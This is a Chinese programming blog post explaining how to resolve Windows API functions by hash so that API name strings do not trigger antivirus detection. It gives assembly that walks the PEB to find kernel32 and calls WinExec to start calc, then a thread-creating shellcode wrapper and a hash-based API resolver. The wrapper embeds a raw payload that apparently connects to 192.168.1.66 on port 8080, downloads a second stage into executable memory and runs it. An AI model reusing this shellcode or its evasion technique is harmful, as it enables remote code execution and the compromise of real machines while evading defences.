hash算法搜索获得api函数地址的实现,"kernel32.dll", "CreateThread"

  我们一般要获得一个函数的地址,通常采用的是明文,例如定义一个api函数字符串"MessageBoxA",然后在GetProcAddress函数中一个字节一个字节进行比较。这样弊端很多,例如如果我们定义一个杀毒软件比较敏感的api函数字符串,那么可能就会增加杀毒软件对我们的程序的判定值,而且定义这些字符串还有一个弊端是占用的字节数较大。我们想想如何我们的api函数字符串通过算法将它定义成一个4字节的值,然后在GetProcAddress中把AddressOfNames表中的每个地址指向的api字符串通过我们的算法压缩成4字节值后,与我们之前定义的4字节值进行判断,如果匹配成功则读取函数地址。

  我们来看一种rol 3移位算法,这个算法是每次将目的地址循环向左移动3位,然后将低字节与源字符串的每个字节进行异或。算法很精巧方便。还有很多方便小巧的算法,例如ROR 13等算法,其实它和我们上面的基本一样,只不过它将函数名表的字符串通过我们的算法过程获得hash值后与我们之前定义的hash值进行匹配,匹配成功则获得对应函数的地址。

  下面的代码通过hash搜索WinExec函数来运行Clac:

 .386  
    .model flat, stdcall  
    option casemap:none  
      
include windows.inc  
include user32.inc  
include kernel32.inc  
includelib user32.lib  
includelib kernel32.lib  
  
    .const  
szCalc      db 'calc.exe', 0  
  
    .code  
      
_GetKrnl32 proc  

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 获取kernel32.dll的地址,因为xp和win7不一样
; 故采用比较名称的方式获取地址,具体见Kernel32基地址获得学习
; http://blog.csdn.net/programmingring/article/details/11357393
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    assume fs:nothing  
    mov eax, fs:[30h]  
    mov eax, [eax + 0ch]  
    mov eax, [eax + 1ch]        ; 第一个LDR_MODULE
    
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 压入kernel32.dll的unicode字符串
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  
    push dword ptr 006ch  
    push dword ptr 6c0064h  
    push dword ptr 2e0032h  
    push dword ptr 33006ch  
    push dword ptr 65006eh  
    push dword ptr 720065h  
    push word ptr 006bh  
    mov ebx, esp              ; ebx指向字符串
    
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 开始比较
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>      
_Search:  
    cmp eax, 0  
    jz _NotFound  
    cmp eax, 0ffffffffh  
    jz _NotFound  
    lea esi, [eax + 1ch]          ; esi指向UNICODE_STRING结构
    xor ecx, ecx              
    mov cx, 13              ; 比较的长度
    mov esi, [esi + 4]          ; 获得UNICODE_STRING结构的Buffer成员
    mov edi, ebx              ; edi指向kernel32unicode字符串
    repz cmpsw  
    or ecx, ecx              ; ecx减完说明相等
    jz _Found  
    mov eax, [eax]              ; 获取下一个LDR_MODULE
    jmp _Search  
      
_NotFound:  
    mov eax, 0ffffffffh  
    jmp _Over  
      
_Found:  
    mov eax, [eax + 08h]          ; 获得地址
      
_Over:  
    add esp, 26  
    ret  
      
_GetKrnl32 endp  
  
_GetRolHash proc _lpApiString  
      
    mov eax, _lpApiString 
    push esi  
    xor edx, edx  
    xchg eax, esi              ; esi = _lpApiString
    cld                  ; 递增
      
_Next:      
    lodsb                  ; 从esi指向的地址中取一个字符
    test al, al              ; 比较是否为0
    jz _Ret  
    rol edx, 3              ; 左循环移位3位
    xor dl, al              ; 低字节和字符异或
    jmp _Next  
      
_Ret:  
    xchg eax, edx              ; eax = 处理后的_lpApiString的hash
    pop esi  
    ret  
      
_GetRolHash endp  
  
_GetApi proc _hDllHandle, _iHashApi  
      
    push ebp  
    mov eax, _hDllHandle  
    mov ecx, _iHashApi  
    mov ebx, eax  
    mov edi, ecx  
      
    mov eax, [ebx + 3ch]  
    mov esi, [ebx + eax + 78h]          ; Get Export RVA  
    lea esi, [esi + ebx + IMAGE_EXPORT_DIRECTORY.NumberOfNames]  
    lodsd  
    xchg eax, edx                   ; edx = NumberOfNames  
    lodsd  
    push eax                        ; [esp] = AddressOfFunctions  
    lodsd  
    xchg eax, ebp                      ; ebp = AddressOfNames  
    lodsd  
    xchg eax, ebp                   ; ebp = AddressOfNameOrdinals, eax = AddressOfNames  
    add eax, ebx  
    xchg eax, esi                   ; esi = AddressOfNames  
      
_LoopScas:  
    dec edx  
    js _Ret  
    lodsd                  ; eax = api名称的rva
    add eax, ebx              ; eax = api名称的实际地址
    push edx  
    invoke _GetRolHash, eax         ; 计算hash字符串  
      
    pop edx  
    cmp eax, edi              ; 比较和传入的hash参数是否相等
    jz _GetAddr  
      
    add ebp, 2              ; 递增,和esi相对应
    jmp _LoopScas  
      
_GetAddr:  
    movzx eax, word ptr [ebp + ebx]      ; 取得序号值
    shl eax, 2              ; 乘4
    add eax, [esp]              ; 在AddressOfFunctions取得相应序号值位置的值
    mov eax, [ebx + eax]          ; 取得函数地址
    add eax, ebx  
      
_Ret:  
    pop ecx  
    pop ebp  
    ret  
      
_GetApi endp  
  
_WinMain proc  
  
    invoke _GetKrnl32  
    invoke _GetApi, eax, 016ef74bh      ; "WinExec"的hash  
    push SW_SHOW  
    lea ebx, szCalc  
    push ebx  
    call eax  
    ret  
      
_WinMain endp
  
start:  
    call _WinMain  
    invoke ExitProcess, 0  
      
    end start  

 

 

 

另外一段代码:新建一个线程的shellcode,payload: 后面的内容为要新建线程要执行的内容。

[BITS 32]
[ORG 0]
cld
call start
delta:
%include "block_api.asm"
start:
  pop ebp ; pop off the address of 'api_call' for calling later.
  xor eax, eax
  push eax
  push eax
  push eax
  lea ebx, [ebp+threadstart-delta]
  push ebx
  push eax
  push eax
  push 0x160D6838 ; hash( "kernel32.dll", "CreateThread" )
  call ebp ; CreateThread( NULL, 0, &threadstart, NULL, 0, NULL );
  jmp end
threadstart:
  pop eax ; pop off the unused thread param so the prepended shellcode can just return when done.
  payload: db 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x42,0x68,0x02,0x00,0x1f,0x90,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x61,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x22,0x58,0x68,0x00,0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0xe9,0x71,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,0xc7,0xc3,0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5
  end

  

 

  上面代码里block_api.asm

api_call:
  pushad                 ; We preserve all the registers for the caller, bar EAX and ECX.
  mov ebp, esp           ; Create a new stack frame
  xor eax, eax           ; Zero EAX (upper 3 bytes will remain zero until function is found)
  mov edx, [fs:eax+48]   ; Get a pointer to the PEB
  mov edx, [edx+12]      ; Get PEB->Ldr
  mov edx, [edx+20]      ; Get the first module from the InMemoryOrder module list
next_mod:                ;
  mov esi, [edx+40]      ; Get pointer to modules name (unicode string)
  movzx ecx, word [edx+38] ; Set ECX to the length we want to check
  xor edi, edi           ; Clear EDI which will store the hash of the module name
loop_modname:            ;
  lodsb                  ; Read in the next byte of the name
  cmp al, 'a'            ; Some versions of Windows use lower case module names
  jl not_lowercase       ;
  sub al, 0x20           ; If so normalise to uppercase
not_lowercase:           ;
  ror edi, 13            ; Rotate right our hash value
  add edi, eax           ; Add the next byte of the name
  loop loop_modname      ; Loop until we have read enough

  ; We now have the module hash computed
  push edx               ; Save the current position in the module list for later
  push edi               ; Save the current module hash for later
  ; Proceed to iterate the export address table,
  mov edx, [edx+16]      ; Get this modules base address
  mov ecx, [edx+60]      ; Get PE header

  ; use ecx as our EAT pointer here so we can take advantage of jecxz.
  mov ecx, [ecx+edx+120] ; Get the EAT from the PE header
  jecxz get_next_mod1    ; If no EAT present, process the next module
  add ecx, edx           ; Add the modules base address
  push ecx               ; Save the current modules EAT
  mov ebx, [ecx+32]      ; Get the rva of the function names
  add ebx, edx           ; Add the modules base address
  mov ecx, [ecx+24]      ; Get the number of function names
  ; now ecx returns to its regularly scheduled counter duties

  ; Computing the module hash + function hash
get_next_func:           ;
  jecxz get_next_mod     ; When we reach the start of the EAT (we search backwards), process the next module
  dec ecx                ; Decrement the function name counter
  mov esi, [ebx+ecx*4]   ; Get rva of next module name
  add esi, edx           ; Add the modules base address
  xor edi, edi           ; Clear EDI which will store the hash of the function name
  ; And compare it to the one we want
loop_funcname:           ;
  lodsb                  ; Read in the next byte of the ASCII function name
  ror edi, 13            ; Rotate right our hash value
  add edi, eax           ; Add the next byte of the name
  cmp al, ah             ; Compare AL (the next byte from the name) to AH (null)
  jne loop_funcname      ; If we have not reached the null terminator, continue
  add edi, [ebp-8]       ; Add the current module hash to the function hash
  cmp edi, [ebp+36]      ; Compare the hash to the one we are searching for
  jnz get_next_func      ; Go compute the next function hash if we have not found it

  ; If found, fix up stack, call the function and then value else compute the next one...
  pop eax                ; Restore the current modules EAT
  mov ebx, [eax+36]      ; Get the ordinal table rva
  add ebx, edx           ; Add the modules base address
  mov cx, [ebx+2*ecx]    ; Get the desired functions ordinal
  mov ebx, [eax+28]      ; Get the function addresses table rva
  add ebx, edx           ; Add the modules base address
  mov eax, [ebx+4*ecx]   ; Get the desired functions RVA
  add eax, edx           ; Add the modules base address to get the functions actual VA
  ; We now fix up the stack and perform the call to the desired function...
finish:
  mov [esp+36], eax      ; Overwrite the old EAX value with the desired api address for the upcoming popad
  pop ebx                ; Clear off the current modules hash
  pop ebx                ; Clear off the current position in the module list
  popad                  ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
  pop ecx                ; Pop off the origional return address our caller will have pushed
  pop edx                ; Pop off the hash value our caller will have pushed
  push ecx               ; Push back the correct return value
  jmp eax                ; Jump into the required function
  ; We now automagically return to the correct caller...

get_next_mod:            ;
  pop edi                ; Pop off the current (now the previous) modules EAT
get_next_mod1:           ;
  pop edi                ; Pop off the current (now the previous) modules hash
  pop edx                ; Restore our position in the module list
  mov edx, [edx]         ; Get the next module
  jmp short next_mod     ; Process this module

  

posted on 2017-02-16 20:31  bokernb  阅读(782)  评论(0编辑  收藏  举报